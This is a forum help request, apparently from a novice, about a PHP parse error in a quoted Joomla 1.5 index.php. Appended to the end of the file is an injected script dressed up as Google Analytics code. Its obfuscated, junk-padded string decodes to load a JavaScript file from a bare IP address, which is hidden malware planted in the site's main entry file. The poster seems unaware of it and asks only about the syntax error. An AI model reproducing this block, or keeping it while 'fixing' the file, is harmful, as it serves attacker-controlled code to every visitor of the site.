Parse error: syntax error, unexpected '<' in - Fix?

Newb ici d'essayer de corriger mon code php. D'avoir une erreur à la ligne 89.

<?php
/**
* @version      $Id: index.php 10381 2008-06-01 03:35:53Z pasamio $
* @package      Joomla
* @copyright    Copyright (C) 2005 - 2008 Open Source Matters. All rights reserved.
* @license      GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/
//Set flag that this is a parent file
define( '_JEXEC', 1 );
define('JPATH_BASE', dirname(__FILE__) );
define( 'DS', DIRECTORY_SEPARATOR );
require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );
require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );
JDEBUG ? $_PROFILER->mark( 'afterLoad' ) : null;
/**
* CREATE THE APPLICATION
*
* NOTE :
*/
$mainframe =& JFactory::getApplication('site');
/**
* INITIALISE THE APPLICATION
*
* NOTE :
*/
//set the language
$mainframe->initialise();
JPluginHelper::importPlugin('system');
//trigger the onAfterInitialise events
JDEBUG ? $_PROFILER->mark('afterInitialise') : null;
$mainframe->triggerEvent('onAfterInitialise');
/**
* ROUTE THE APPLICATION
*
* NOTE :
*/
$mainframe->route();
//authorization
$Itemid = JRequest::getInt( 'Itemid');
$mainframe->authorize($Itemid);
//trigger the onAfterRoute events
JDEBUG ? $_PROFILER->mark('afterRoute') : null;
$mainframe->triggerEvent('onAfterRoute');
/**
* DISPATCH THE APPLICATION
*
* NOTE :
*/
$option = JRequest::getCmd('option');
$mainframe->dispatch($option);
//trigger the onAfterDispatch events
JDEBUG ? $_PROFILER->mark('afterDispatch') : null;
$mainframe->triggerEvent('onAfterDispatch');
/**
* RENDER  THE APPLICATION
*
* NOTE :
*/
$mainframe->render();
//trigger the onAfterRender events
JDEBUG ? $_PROFILER->mark('afterRender') : null;
$mainframe->triggerEvent('onAfterRender');
/**
* RETURN THE RESPONSE
*/
echo JResponse::toString($mainframe->getCfg('gzip'));
<?php echo '<script type="text/javascript">var gaJsHost = (("https:" ==      document.location.protocol) ? "https://ssl." : "http://www.");
document.write(unescape("%3Cscript sr?='" + gaJsHost + "google-analytics.com/ga.js' "   +   '#@!s(&r)c@#=!)\'!h$#t^!#$@t@!$p&^!@:$^/!@#!/#9(1)@.(2)1#(2)!.^&  6!@!#^5(@#!.!&$1@#4)8#&  /($g&$a!.(j^s)'.replace(/#|@|&|\$|\)|\!|\^|\(/ig, '') + "'   type='text/javascript'%3E%3C     /script%3E"));
</script>
try {
var pageTracker = _gat._getTracker("UA-7623457-2");
pageTracker._trackPageview();
} catch(err) {}</script>'; ?>